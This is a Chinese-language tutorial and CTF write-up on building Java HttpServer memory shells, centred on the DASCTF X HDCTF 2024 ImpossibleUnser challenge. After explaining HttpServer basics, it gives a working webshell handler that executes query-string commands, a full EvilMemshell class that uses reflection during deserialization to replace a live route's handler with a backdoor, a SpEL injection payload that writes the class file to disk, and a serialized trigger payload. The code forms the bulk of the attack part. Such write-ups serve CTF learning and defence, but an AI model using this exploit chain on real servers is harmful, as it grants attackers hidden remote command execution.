HttpServer内存马
基础知识
一些基础的方法和类
HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。
createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。
setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。
代码例子
首先我们需要知道怎么使用httpserver构建一个HttpServer服务
其实不难,重点只有两部分,一个是server,一个是hander
其实举个例子就能够理解了
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;
public class HttpServerStarter {
public static void main(String[] args) throws IOException {
//创建一个HttpServer实例,并绑定到指定的IP地址和端口号
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);
//创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器
httpServer.createContext("/myserver", new MyHttpHandler());
//设置服务器的线程池对象
httpServer.setExecutor(Executors.newFixedThreadPool(10));
//启动服务器
httpServer.start();
}
}
然后就是我们的handler
import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;
public class IndexHandler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
OutputStream os = exchange.getResponseBody();
List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes");
StringBuilder response = new StringBuilder();
for (String file : files) {
response.append(file).append("\n");
}
byte[] responseData = response.toString().getBytes();
int chunkSize = 1024; // 设置每个数据块的大小
exchange.sendResponseHeaders(200, responseData.length);
int offset = 0;
while (offset < responseData.length) {
int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
os.write(responseData, offset, bytesToWrite);
offset += bytesToWrite;
}
os.close();
}
private List<String> listFilesInDirectory(String directoryPath) {
File directory = new File(directoryPath);
File[] files = directory.listFiles();
if (files != null) {
return Arrays.asList(directory.list());
} else {
return null;
}
}
}
利用
其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server
获取server
我们是根据线程去获取的
当然不止这一种
Thread.currentThread().getThreadGroup().threads
这是获取所有的线程
然后通过[0]去获取你需要的线程,然后就是
Thread.currentThread().getThreadGroup().threads.target.this$0
去获取到我们的context对象
然后你还可以去获取我们的handler
就是在server的contexts中,然后还是选list的其中一个,然后获取
这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法
构造恶意的handler
当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler
恶意的handler主要是重写它的handle方法
public void handle(HttpExchange httpExchange) throws IOException {
String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null) {
stringBuilder.append(line + "\n");
}
String response = stringBuilder.toString();
httpExchange.sendResponseHeaders(200, response.length());
OutputStream os = httpExchange.getResponseBody();
os.write(response.getBytes());
os.close();
}
CTF题目
DASCTF X HDCTF 2024 ImpossibleUnser
官方wp
源码
package com.ctf;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;
public class IndexController {
public static void main(String[] args) throws Exception {
HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);
server.createContext("/ctf", new SPELHandler());
server.createContext("/index", new IndexHandler());
server.createContext("/unser", new UnserHandler());
server.setExecutor(null);
server.start();
}
}
package com.ctf;
import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;
public class IndexHandler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
OutputStream os = exchange.getResponseBody();
List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre");
StringBuilder response = new StringBuilder();
for (String file : files) {
response.append(file).append("\n");
}
byte[] responseData = response.toString().getBytes();
int chunkSize = 1024; // 设置每个数据块的大小
exchange.sendResponseHeaders(200, responseData.length);
int offset = 0;
while (offset < responseData.length) {
int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
os.write(responseData, offset, bytesToWrite);
offset += bytesToWrite;
}
os.close();
}
private List<String> listFilesInDirectory(String directoryPath) {
File directory = new File(directoryPath);
File[] files = directory.listFiles();
if (files != null) {
return Arrays.asList(directory.list());
} else {
return null;
}
}
}
然后unser路由就是一个反序列化入口
然后还有一个spel表达式注入
方法三 使用内存马方式
这里就直接放payload了
这里wp的思路是修改ctf路由的handler,当然我们也可以添加
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class EvilMemshell implements Serializable, HttpHandler {
private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
try{
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
threadsFeld.setAccessible(true);
Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
Thread thread = threads[1];
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object object = targetField.get(thread);
Field this$0Field = object.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
object = this$0Field.get(object);
Field contextsField = object.getClass().getDeclaredField("contexts");
contextsField.setAccessible(true);
object = contextsField.get(object);
Field listField = object.getClass().getDeclaredField("list");
listField.setAccessible(true);
java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
object = linkedList.get(0);
Field handlerField = object.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
handlerField.set(object,this);
}catch(Exception exception){
}
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void main(String[] args) throws Exception {
System.out.println(base64serial(new EvilMemshell()));
}
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String query = httpExchange.getRequestURI().getQuery();
String[] split = query.split("=");
String response = "SUCCESS"+"\n";
if (split[0].equals("shell")) {
String cmd = split[1];
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int flag=-1;
while((flag=inputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,flag);
}
response += byteArrayOutputStream.toString();
byteArrayOutputStream.close();
}
httpExchange.sendResponseHeaders(200,response.length());
OutputStream outputStream = httpExchange.getResponseBody();
outputStream.write(response.getBytes());
outputStream.close();
}
}
重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler
当然我们需要配合spel先把这个恶意的文件写进去
payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码"))
然后反序列化它
unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw
之后就可以在ctf路由进行命令执行了